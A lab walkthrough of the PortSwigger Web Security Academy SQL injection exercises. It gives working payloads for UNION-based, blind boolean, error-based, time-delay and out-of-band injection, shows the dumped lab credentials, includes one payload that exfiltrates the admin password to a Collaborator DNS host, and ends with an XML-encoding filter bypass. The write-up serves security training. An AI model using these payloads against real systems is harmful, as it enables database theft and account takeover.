WebSecurityAcademy (PortSwigger) – SQL Injections

Walk-through of SQL injection lab on PortSwigger Web Security Academy.

Use the Hackvertor extension to URL encode the payload.

Apprentice – SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Access the lab
  • Intercept requests using Burp Suite.
  • Click on a category in the search.
  • Send the request to the repeater.
  • Add encoded “‘ or 1=1–” to the category.
GET /filter?category=<@urlencode>Corporate gifts' or 1=1-- <@/urlencode> HTTP/1.1

Apprentice – SQL injection vulnerability allowing login bypass

Access the lab
  • Click on Login
  • Enter administrator as the user
  • Enter “‘ or 1=1–” as the password

Practitioner – SQL injection UNION attack, determining the number of columns returned by the query

Access the lab
GET /filter?category=<@urlencode>' UNION SELECT NULL, NULL, NULL -- <@/urlencode> HTTP/1.1

Practitioner – SQL injection UNION attack, finding a column containing text

Access the lab

Unique string to retrieve was “ZoD3B6”.

GET /filter?category=<@urlencode>whatever' UNION SELECT null, 'ZoD3B6', null -- <@/urlencode> HTTP/1.1

Practitioner – SQL injection UNION attack, retrieving data from other tables

Access the lab

The database contains a different table called users, with columns called username and password. Then log in as administrator.

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT null, null -- <@/urlencode> HTTP/1.1

Extract users and passwords

GET /filter?category=<@urlencode>whatever' UNION SELECT username, password FROM users -- <@/urlencode> HTTP/1.1
carlos:rifvs4iiwpiegvajsb4l
wiener:5ferfkh1o05ecxoy1u8m
administrator:9ze5m3d2n4vmh7p5x6ou

Log in with user “administrator” and password “9ze5m3d2n4vmh7p5x6ou”.

Practitioner – SQL injection UNION attack, retrieving multiple values in a single column

Access the lab

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT null, null -- <@/urlencode> HTTP/1.1

Extract data

GET /filter?category=<@urlencode>whatever' UNION SELECT null, CONCAT(username,':',password) FROM users -- <@/urlencode> HTTP/1.1
wiener:bxmfaspk6mju403htpqg
administrator:y148iiauuw687zfxuff8
carlos:ana1gcotyrh006ysxctc

Log in with user “administrator” and password “y148iiauuw687zfxuff8”.

Practitioner – SQL injection attack, querying the database type and version on Oracle

Access the lab

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT null, null FROM DUAL -- <@/urlencode> HTTP/1.1

Both columns are displayed (value ‘a’ and ‘b’).

GET /filter?category=<@urlencode>whatever' UNION SELECT 'a', 'b' FROM DUAL -- <@/urlencode> HTTP/1.1

Extract Database version

GET /filter?category=<@urlencode>whatever' UNION SELECT banner, 'b' FROM v$version -- <@/urlencode> HTTP/1.1

Practitioner – SQL injection attack, querying the database type and version on MySQL and Microsoft

Access the lab
GET /filter?category=<@urlencode>whatever' UNION SELECT @@version, null -- <@/urlencode> HTTP/1.1

Practitioner – SQL injection attack, listing the database contents on non-Oracle databases

Access the lab

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT 'a', null -- <@/urlencode> HTTP/1.1

Find DBMS & version

GET /filter?category=<@urlencode>whatever' UNION SELECT version(), null -- <@/urlencode> HTTP/1.1

DBMS is “”PostgreSQL 12.12 (Ubuntu 12.12-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit.

List tables

GET /filter?category=<@urlencode>whatever' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'public' -- <@/urlencode> HTTP/1.1
users_wfwayp
products

List columns

GET /filter?category=<@urlencode>whatever' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_wfwayp' -- <@/urlencode> HTTP/1.1
password_axravo
username_nstguk

Extract data (user/pass)

GET /filter?category=<@urlencode>whatever' UNION SELECT username_nstguk,password_axravo FROM users_wfwayp -- <@/urlencode> HTTP/1.1
administrator:olp7le4nsgjcb8qi6qx2
wiener:93dbyy3bukep1gdnjx1x
carlos:5s1m1zf03k541ycr95b3

Log in with user “administrator” and password “olp7le4nsgjcb8qi6qx2”.

Practitioner – SQL injection attack, listing the database contents on Oracle

Access the lab

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT null, null FROM DUAL -- <@/urlencode> HTTP/1.1

Find DBMS & version

GET /filter?category=<@urlencode>whatever' UNION SELECT banner, null FROM v$version -- <@/urlencode> HTTP/1.1

DBMS is “Oracle Database 11g Express Edition Release 11.2.0.2.0 – 64bit Production”.

List tables

GET /filter?category=<@urlencode>whatever' UNION SELECT owner || '.' ||table_name, null FROM all_tables -- <@/urlencode> HTTP/1.1
PETER.USERS_VYFZUT

List columns

GET /filter?category=<@urlencode>whatever' UNION SELECT column_name, null FROM all_tab_columns WHERE owner='PETER' AND table_name='USERS_VYFZUT' -- <@/urlencode> HTTP/1.1
PASSWORD_BHZMKG
USERNAME_TXYAFD

Extract data

GET /filter?category=<@urlencode>whatever' UNION SELECT USERNAME_TXYAFD, PASSWORD_BHZMKG FROM PETER.USERS_VYFZUT -- <@/urlencode> HTTP/1.1
administrator:tirn63sjk0u7fctysiz1
carlos:3ymcz0cq6e3xs3dfbawd
wiener:e1hyyxybycm1f5mdewdr

Log in with user “administrator” and password “tirn63sjk0u7fctysiz1”.

Practitioner – Blind SQL injection with conditional responses

Access the lab

Test for injection

The “Welcome back” message is in the server’s response.

Cookie: TrackingId=<@urlencode>whatever' OR 1=1 -- <@/urlencode>;

Test that a row is returned for user administrator

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT password FROM users WHERE username = 'administrator' -- <@/urlencode>;

Find the administrator’s password

Use the Intruder module to check for every character except the “%” and “_” characters as they have a meaning in the SQL “LIKE” function. When no characters are found, try the “_” character.

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT password FROM users WHERE username = 'administrator' AND password LIKE 'tin_rboqnci_%' -- <@/urlencode>;

We can also find password length (20 chars) using the underscore:

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT password FROM users WHERE username = 'administrator' AND password LIKE 'tin9rboqnci_________' -- <@/urlencode>;
Cookie: TrackingId=<@urlencode>whatever' UNION SELECT password FROM users WHERE username = 'administrator' AND password LIKE 'tin9rboqncig4mrychdt' -- <@/urlencode>;

Log in with user “administrator” and password “tin9rboqncig4mrychdt”.

Practitioner – Blind SQL injection with conditional errors

Access the lab

Find the DBMS

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT 'a' FROM DUAL)='a' -- <@/urlencode>;

DBMS is Oracle

Build the query to discover the password

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT password FROM users WHERE username = 'administrator')='a' -- <@/urlencode>;
Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE '%') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

These are valid SQL queries that do not trigger an error.

Try triggering an error

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (1=0) THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Find the password length

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE '_') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Increase the length until HTTP 200 OK is returned by the server.

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE '____________________') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Password has 20 characters.

Find the password

Send the request to the Intruder module. Check for every character except the “%” and “_” characters as they have a meaning in the SQL “LIKE” function.

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE '§_§___________________') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

[…]

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE 'q9v8t97x9vsje2rrm§_§__') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Send the request to the repeater and validate the password found

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password = 'q9v8t97x9vsje2rrmtxs') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Log in with user “administrator” and password “q9v8t97x9vsje2rrmtxs”.

Practitioner – Visible error-based SQL injection

Access the lab

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned. The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

Try adding a single quote to the cookie:

Cookie: TrackingId=whatever';
Unterminated string literal started at position 44 in SQL SELECT * FROM tracking WHERE id = 'whatever''. Expected  char

Add a subquery and cast the returned value to an integer:

Cookie: TrackingId=' AND CAST((SELECT 1) AS int) -- ;
ERROR: argument of AND must be type boolean, not type integer

The expected type is boolean, so add “=1”:

Cookie: TrackingId=' AND CAST((SELECT 1) AS int)=1 -- ;

The query is valid (no errors).

The input is truncated so we cannot write the full subquery for the administrator account. Use “LIMIT 1”. The administrator is often the first account created in a system and is often the first line.

Cookie: TrackingId=' AND CAST((SELECT username FROM users LIMIT 1) AS int)=1 -- ;
ERROR: invalid input syntax for type integer: "administrator"

Extract the password using the same technique.

Cookie: TrackingId=' AND CAST((SELECT password FROM users LIMIT 1) AS int)=1 -- ;
ERROR: invalid input syntax for type integer: "zfp8exhvbpkked4026g7"

Log in with user “administrator” and password “zfp8exhvbpkked4026g7”.

Practitioner – Blind SQL injection with time delays

Access the lab

Since the DBMS used is unknown, try different payloads until a delay of 10 seconds is executed. Use the SQL injection cheat sheet. The DBMS is PostgreSQL.

Cookie: TrackingId=<@urlencode>whatever'; SELECT pg_sleep(10) -- <@/urlencode>;

Practitioner – Blind SQL injection with time delays and information retrieval

Access the lab

Find the DBMS

DBMS is PostgreSQL (like previous exercise).

Cookie: TrackingId=<@urlencode>whatever'; SELECT pg_sleep(10) -- <@/urlencode>;

Build the query to discover the password

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END -- <@/urlencode>;
Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE '%') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Find the password length

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (LENGTH(password) = 20) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Password has 20 characters.

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE '____________________') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Send the request to the Intruder module. Check for every character except the “%” and “_” characters as they have a meaning in the SQL “LIKE” function. Set the resource pool to 1 request at a time. In the Columns menu, add Time of day.

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE '§_§___________________') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Observe the attack and look for the character that triggers the 10 seconds delay or check Time of day to see the 10 seconds difference between 2 characters.

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE 'uj5byiatct§_§_________') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;
Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE 'uj5byiatctcpmdyudsa§_§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Validate the password

Use the Repeater module to validate the password found.

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE 'uj5byiatctcpmdyudsah') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Log in with user “administrator” and password “uj5byiatctcpmdyudsah”.

Practitioner – Blind SQL injection with out-of-band interaction

Access the lab

Select text “BURP-COLLABORATOR-SUBDOMAIN”, right-click and select “Insert Collaborator payload” to insert a the Burp Collaborator subdomain.

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual --

Practitioner – Blind SQL injection with out-of-band data exfiltration

Access the lab

Select text “BURP-COLLABORATOR-SUBDOMAIN”, right-click and select “Insert Collaborator payload” to insert a the Burp Collaborator subdomain.

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual -- <@/urlencode>;

The Collaborator server received a DNS lookup of type A for the domain name flxpvehzs08jev6bv9or.BURP-COLLABORATOR-SUBDOMAIN.

Log in with user “administrator” and password “flxpvehzs08jev6bv9or”.

Practitioner – SQL injection with filter bypass via XML encoding

Access the lab

Try to extract the password

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1 UNION SELECT password from users WHERE username = 'administrator' --</storeId></stockCheck>

The server responds with “Attack detected”.

Bypass filter via XML encoding

Send the payload to the Decoder module. Select Encode as HTML.

1 UNION SELECT password from users WHERE username = 'administrator' --
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>&#x31;&#x20;&#x55;&#x4e;&#x49;&#x4f;&#x4e;&#x20;&#x53;&#x45;&#x4c;&#x45;&#x43;&#x54;&#x20;&#x70;&#x61;&#x73;&#x73;&#x77;&#x6f;&#x72;&#x64;&#x20;&#x66;&#x72;&#x6f;&#x6d;&#x20;&#x75;&#x73;&#x65;&#x72;&#x73;&#x20;&#x57;&#x48;&#x45;&#x52;&#x45;&#x20;&#x75;&#x73;&#x65;&#x72;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x3d;&#x20;&#x27;&#x61;&#x64;&#x6d;&#x69;&#x6e;&#x69;&#x73;&#x74;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x27;&#x20;&#x2d;&#x2d;</storeId></stockCheck>

Log in with user “administrator” and password “2qigy0infbnhlwwocib0”.